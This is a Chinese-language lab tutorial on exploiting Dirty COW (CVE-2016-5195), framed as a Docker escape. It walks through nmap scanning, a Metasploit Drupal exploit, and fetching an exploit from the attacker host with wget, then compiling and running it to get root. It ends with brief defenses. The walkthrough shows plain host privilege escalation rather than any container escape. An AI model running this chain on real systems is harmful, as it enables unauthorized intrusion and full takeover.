Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
字数 1192 2025-08-18 11:36:57
Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)教学文档
一、Docker逃逸概述
Docker逃逸是指攻击者从容器内部突破隔离限制,获取宿主机权限的行为。目前Docker逃逸主要分为三种类型:
- 由内核漏洞引起:如CVE-2016-5195(Dirty COW)
- 由软件程序漏洞引起:如CVE-2019-5736
- 由配置不当引起:如特权模式(privileged)逃逸、docker remote api未授权访问等
二、Dirty COW漏洞(CVE-2016-5195)原理
漏洞原理
Linux内核的内存管理子系统在处理写入时复制(Copy-On-Write, COW)机制时存在竞争条件(race condition),恶意用户可利用此漏洞获取高权限,对只读内存映射进行写访问。
竞争条件是指任务执行顺序异常,可导致应用崩溃或让攻击者执行其他代码。利用此漏洞,攻击者可在目标系统提升权限,甚至获取root权限。
影响版本
该漏洞影响全版本Linux系统(Linux kernel >= 2.6.22)
三、漏洞利用实战
环境准备
- 靶机: 192.168.200.49
- 攻击机(Kali): 192.168.200.14
信息收集阶段
-
扫描存活主机
nmap -sP 192.168.200.0/24 -T4通过MAC地址确认靶机IP
-
扫描开放端口和服务
nmap -sV -p- 192.168.200.49确认开放端口:22(SSH)、80(HTTP)、1898(Web服务)
-
Web应用探测
- 访问192.168.200.49:1898
- 确认CMS为Drupal 7
初始入侵
-
使用Metasploit利用Drupal漏洞
use exploit/unix/webapp/drupal_drupalgeddon2获取低权限shell
-
转换为交互式shell
exploit/runshell
提权准备
-
查找Dirty COW利用脚本
searchsploit dirty locate linux/local/40847.cpp -
复制利用脚本
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp -
在攻击机启动HTTP服务
python -m http.server 8899 -
靶机下载并编译利用脚本
wget http://192.168.200.14:8899/40847.cpp g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil编译选项说明:
-Wall: 启用所有警告-pedantic: 遵循ANSI/ISO C标准-O2: 优化级别2-std=c++11: 使用C++11标准-pthread: 链接pthread库-o 40847: 输出文件名
-
执行提权脚本
./40847获取root密码:dirtyCowFun
获取root权限
-
方法一:直接登录
su root 密码:dirtyCowFun -
方法二:SSH远程登录
ssh root@192.168.200.49 密码:dirtyCowFun -
创建交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'交互式shell对于某些需要用户输入的命令至关重要
四、漏洞防御措施
-
及时更新内核
yum update kernel 或 apt-get update && apt-get upgrade linux-image-generic -
限制容器能力
- 避免使用
--privileged特权模式 - 使用
--cap-drop=ALL移除所有能力
- 避免使用
-
启用SELinux/AppArmor
# 检查SELinux状态 sestatus -
定期漏洞扫描
# 使用漏洞扫描工具如lynis lynis audit system
五、总结
通过本教学文档,我们详细了解了:
- Dirty COW漏洞的原理和影响范围
- 完整的信息收集和漏洞利用流程
- 从低权限到root权限的完整提权过程
- 有效的防御措施
此漏洞利用展示了内核级漏洞的严重性,强调了及时更新系统和正确配置容器安全的重要性。